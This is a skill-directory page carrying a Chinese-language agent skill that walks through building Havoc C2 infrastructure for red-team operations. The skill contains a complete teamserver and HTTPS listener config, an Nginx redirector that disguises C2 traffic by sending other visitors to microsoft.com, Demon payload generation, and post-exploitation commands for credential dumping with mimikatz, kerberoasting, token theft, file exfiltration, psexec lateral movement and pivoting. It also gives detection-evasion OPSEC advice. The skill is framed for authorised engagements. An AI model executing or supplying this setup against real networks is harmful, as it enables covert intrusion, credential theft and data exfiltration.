building-red-team-c2-infrastructure-with-havoc

部署和配置 Havoc C2 框架,包括团队服务器、HTTPS 监听器、重定向器和 Demon 代理,适用于授权红队(Red Team)行动。

9 stars

Best use case

building-red-team-c2-infrastructure-with-havoc is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

部署和配置 Havoc C2 框架,包括团队服务器、HTTPS 监听器、重定向器和 Demon 代理,适用于授权红队(Red Team)行动。

Teams using building-red-team-c2-infrastructure-with-havoc should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/building-red-team-c2-infrastructure-with-havoc/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/building-red-team-c2-infrastructure-with-havoc/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/building-red-team-c2-infrastructure-with-havoc/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How building-red-team-c2-infrastructure-with-havoc Compares

Feature / Agentbuilding-red-team-c2-infrastructure-with-havocStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

部署和配置 Havoc C2 框架,包括团队服务器、HTTPS 监听器、重定向器和 Demon 代理,适用于授权红队(Red Team)行动。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 使用 Havoc 构建红队 C2 基础设施

## 概述

Havoc 是由 C5pider 创建的现代开源后渗透(post-exploitation)命令与控制(C2)框架。它提供类似于 Cobalt Strike 的协作式多操作员界面,具备适用于 Windows 后渗透的 Demon 代理、流量可塑性(malleable)配置的自定义配置文件,以及对 HTTP/HTTPS/SMB 监听器的支持。本技能涵盖为授权红队演练部署生产级 Havoc C2 基础设施,并考虑适当的操作安全(OPSEC)要素。

## 前置条件

- Ubuntu 22.04 LTS 或 Debian 11+(用于团队服务器)
- Kali Linux 2023+(用于客户端)
- VPS 提供商:DigitalOcean、Linode 或 AWS EC2(最低 2GB RAM、2 vCPU)
- 注册超过 30 天且具有有效 SSL 证书的域名
- 红队演练书面授权

## 架构

```
┌──────────────────────────────────────────────────────────────┐
│                    HAVOC C2 架构                              │
├──────────────────────────────────────────────────────────────┤
│                                                               │
│  ┌──────────┐     ┌──────────────┐     ┌──────────────────┐ │
│  │  Havoc    │────▶│  HTTPS       │────▶│  目标网络         │ │
│  │  客户端   │     │  重定向器    │     │  (Demon 代理)  │ │
│  │  (Kali)   │     │  (Nginx/CDN) │     │                  │ │
│  └──────────┘     └──────────────┘     └──────────────────┘ │
│       │                   │                                   │
│       │           ┌──────────────┐                            │
│       └──────────▶│  Havoc       │                            │
│                   │  团队服务器  │                            │
│                   │  (Ubuntu VPS)│                            │
│                   │  端口 40056  │                            │
│                   └──────────────┘                            │
│                                                               │
└──────────────────────────────────────────────────────────────┘
```

## 步骤一:安装 Havoc 团队服务器

```bash
# 克隆 Havoc 仓库
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc

# 安装依赖(Ubuntu 22.04)
sudo apt update
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 \
    libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \
    libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \
    libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser \
    qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \
    qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev \
    python3-dev libboost-all-dev mingw-w64 nasm

# 构建团队服务器
cd teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
cd ..
make ts-build

# 构建客户端
make client-build
```

## 步骤二:配置团队服务器配置文件

创建 Havoc 配置文件(`havoc.yaotl`):

```hcl
Teamserver {
    Host = "0.0.0.0"
    Port = 40056

    Build {
        Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}

Operators {
    user "operator1" {
        Password = "Str0ngP@ssw0rd!"
    }
    user "operator2" {
        Password = "An0th3rP@ss!"
    }
}

Listeners {
    Http {
        Name         = "HTTPS Listener"
        Hosts        = ["c2.yourdomain.com"]
        HostBind     = "0.0.0.0"
        HostRotation = "round-robin"
        PortBind     = 443
        PortConn     = 443
        Secure       = true
        UserAgent    = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

        Uris = [
            "/api/v2/auth",
            "/api/v2/status",
            "/content/images/gallery",
        ]

        Headers = [
            "X-Requested-With: XMLHttpRequest",
            "Content-Type: application/json",
        ]

        Response {
            Headers = [
                "Content-Type: application/json",
                "Server: nginx/1.24.0",
                "X-Frame-Options: DENY",
            ]
        }
    }
}

Demon {
    Sleep  = 10
    Jitter = 30

    TrustXForwardedFor = false

    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}
```

## 步骤三:启动团队服务器

```bash
# 使用配置文件启动 Havoc 团队服务器
./havoc server --profile ./profiles/havoc.yaotl -v

# 预期输出:
# [*] Havoc Framework [Version: 0.7]
# [*] Teamserver started on: 0.0.0.0:40056
# [*] HTTPS Listener started on: 0.0.0.0:443
```

## 步骤四:配置 HTTPS 重定向器

在独立 VPS 上设置 Nginx 反向代理作为重定向器:

```nginx
# /etc/nginx/sites-available/c2-redirector
server {
    listen 443 ssl;
    server_name c2.yourdomain.com;

    ssl_certificate /etc/letsencrypt/live/c2.yourdomain.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/c2.yourdomain.com/privkey.pem;

    # 仅转发匹配 C2 URI 的流量
    location /api/v2/auth {
        proxy_pass https://TEAMSERVER_IP:443;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $remote_addr;
    }

    location /api/v2/status {
        proxy_pass https://TEAMSERVER_IP:443;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
    }

    location /content/images/gallery {
        proxy_pass https://TEAMSERVER_IP:443;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
    }

    # 将所有其他流量重定向到合法站点
    location / {
        return 301 https://www.microsoft.com;
    }
}
```

## 步骤五:生成 Demon 载荷

```bash
# 通过 Havoc 客户端 GUI:
# Attack > Payload
# Agent: Demon
# Listener: HTTPS Listener
# Arch: x64
# Format: Windows Exe / Windows Shellcode
# Sleep Technique: WaitForSingleObjectEx (Ekko)
# Spawn: C:\Windows\System32\notepad.exe

# 生成的 Demon 载荷通过以下路径回连:
# 目标 -> 重定向器 (Nginx) -> 团队服务器
```

## 步骤六:使用 Demon 进行后渗透

Demon 会话接入后,常用的后渗透命令:

```
# 会话交互
demon> whoami
demon> shell systeminfo
demon> shell ipconfig /all

# 进程列表
demon> proc list

# 文件操作
demon> download C:\Users\target\Documents\sensitive.docx
demon> upload /tools/Rubeus.exe C:\Windows\Temp\r.exe

# 内存中执行 .NET(不落盘)
demon> dotnet inline-execute /tools/Seatbelt.exe -group=all
demon> dotnet inline-execute /tools/SharpHound.exe -c All

# 令牌操控
demon> token steal <PID>
demon> token make DOMAIN\user password

# 凭据访问
demon> mimikatz sekurlsa::logonpasswords
demon> dotnet inline-execute /tools/Rubeus.exe kerberoast

# 横向移动(Lateral Movement)
demon> jump psexec TARGET_HOST HTTPS_LISTENER
demon> jump winrm TARGET_HOST HTTPS_LISTENER

# 枢纽(Pivoting)
demon> socks start 1080
demon> rportfwd start 8080 TARGET_INTERNAL 80
```

## OPSEC 注意事项

| 方面 | 建议 |
|---|---|
| 域名年龄 | 在演练前 30 天以上注册域名 |
| SSL 证书 | 使用 Let's Encrypt 或购买的证书,绝不使用自签名证书 |
| 分类 | 将域名提交至 Bluecoat/Fortiguard 进行分类 |
| 休眠/抖动 | 长期行动最低 10 秒休眠,抖动 30% 以上 |
| User-Agent | 与目标组织的常用浏览器 User-Agent 匹配 |
| 失效日期 | 将载荷过期时间设置为演练结束日期 |
| 基础设施 | 分开团队服务器、重定向器和钓鱼基础设施 |
| 载荷格式 | 使用带有自定义加载器的 shellcode,而非原始 EXE |

## MITRE ATT&CK 映射

| 技术 ID | 名称 | 阶段 |
|---|---|---|
| T1583.001 | 获取基础设施:域名 | 资源开发 |
| T1583.003 | 获取基础设施:虚拟私人服务器 | 资源开发 |
| T1587.001 | 开发能力:恶意软件 | 资源开发 |
| T1071.001 | 应用层协议:Web 协议 | 命令与控制 |
| T1573.002 | 加密信道:非对称加密 | 命令与控制 |
| T1090.002 | 代理:外部代理 | 命令与控制 |
| T1105 | 入侵工具传输 | 命令与控制 |
| T1055 | 进程注入(Process Injection) | 防御规避 |

## 参考资料

- Havoc Framework GitHub: https://github.com/HavocFramework/Havoc
- Havoc Wiki: https://github.com/HavocFramework/Havoc/blob/main/WIKI.MD
- RedTeamOps Havoc 101: https://github.com/WesleyWong420/RedTeamOps-Havoc-101
- 使用 Terraform 部署 Havoc C2: https://www.100daysofredteam.com/p/red-team-infrastructure-deploying-havoc-c2-via-terraform

Related Skills

tracking-threat-actor-infrastructure

9
from killvxk/cybersecurity-skills-zh

威胁行为者基础设施追踪涉及使用被动 DNS、证书透明度日志、Shodan/Censys 扫描、WHOIS 分析和网络指纹技术,对对手控制的 C2 服务器、钓鱼域名和暂存服务器等资产进行监控、映射和持续追踪

scanning-infrastructure-with-nessus

9
from killvxk/cybersecurity-skills-zh

Tenable Nessus 是业界领先的漏洞扫描器,用于识别网络基础设施(包括服务器、工作站、网络设备和操作系统)中的安全弱点。

performing-threat-emulation-with-atomic-red-team

9
from killvxk/cybersecurity-skills-zh

使用 atomic-operator Python 框架执行 Atomic Red Team 测试,进行 MITRE ATT&CK 技术验证。 从 YAML 原子测试加载测试定义、运行攻击模拟并验证检测覆盖率。适用于测试 SIEM 检测规则、 验证 EDR 覆盖率或开展紫队演练。

performing-red-team-with-covenant

9
from killvxk/cybersecurity-skills-zh

使用 Covenant C2 框架开展红队(Red Team)操作,用于授权的对手模拟,包括监听器设置、Grunt 部署、任务执行和横向移动(Lateral Movement)追踪。

performing-red-team-phishing-with-gophish

9
from killvxk/cybersecurity-skills-zh

使用 Python gophish 库自动化 GoPhish 钓鱼模拟活动。创建含追踪像素的邮件模板、 配置 SMTP 发送配置文件、从 CSV 构建目标组、发起活动,并分析结果, 包括打开率、点击率和凭据提交统计数据,用于安全意识评估。

performing-purple-team-exercise

9
from killvxk/cybersecurity-skills-zh

执行紫队(Purple Team)演练,通过协调红队对抗模拟与蓝队检测验证, 使用 MITRE ATT&CK 映射的攻击场景、实时检测测试和协作差距修复。 适用于 SOC 团队需要验证检测能力、提升分析师技能并通过结构化攻防协作填补检测缺口时。

implementing-infrastructure-as-code-security-scanning

9
from killvxk/cybersecurity-skills-zh

本技能涵盖使用 Checkov、tfsec 和 KICS 等工具为基础设施即代码(IaC)模板实施自动化安全扫描。 内容包括在部署前检测 Terraform、CloudFormation、Kubernetes 清单和 Helm charts 中的配置错误, 建立基于策略的治理,以及将 IaC 扫描集成到 CI/CD 管道中以防止不安全的云资源配置。

executing-red-team-exercise

9
from killvxk/cybersecurity-skills-zh

执行全面的红队演练(Red Teaming),模拟真实世界对手针对组织的人员、流程和技术的攻击行动。红队以隐蔽性为主要目标,采用从初始侦察到目标完成的完整攻击生命周期,同时测试组织的检测和响应能力。与渗透测试不同,此技能聚焦于对手模拟而非漏洞识别。适用于红队演练、对手模拟、对手仿真或全范围攻击性安全评估等请求场景。

executing-red-team-engagement-planning

9
from killvxk/cybersecurity-skills-zh

红队演练规划是在任何攻击测试开始之前,确定范围、目标、交战规则(ROE)、威胁模型选择和操作时间表的基础阶段。

conducting-full-scope-red-team-engagement

9
from killvxk/cybersecurity-skills-zh

规划并执行全范围红队演练,覆盖从侦察到后渗透的完整攻击链,使用符合 MITRE ATT&CK 的战术技术和程序(TTP),以评估组织的检测和响应能力。

conducting-cloud-infrastructure-penetration-test

9
from killvxk/cybersecurity-skills-zh

针对 AWS、Azure 和 GCP 执行云基础设施渗透测试,使用 Pacu、ScoutSuite 和 Prowler 识别 IAM 错误配置、暴露的存储桶、不安全的无服务器函数和云原生攻击路径。

building-vulnerability-scanning-workflow

9
from killvxk/cybersecurity-skills-zh

使用 Nessus、Qualys 和 OpenVAS 等工具构建结构化的漏洞扫描工作流, 对基础设施中的安全漏洞进行发现、优先级排序和修复跟踪。适用于 SOC 团队 需要建立定期漏洞评估流程、将扫描结果与 SIEM 告警集成,以及构建 修复跟踪仪表盘的场景。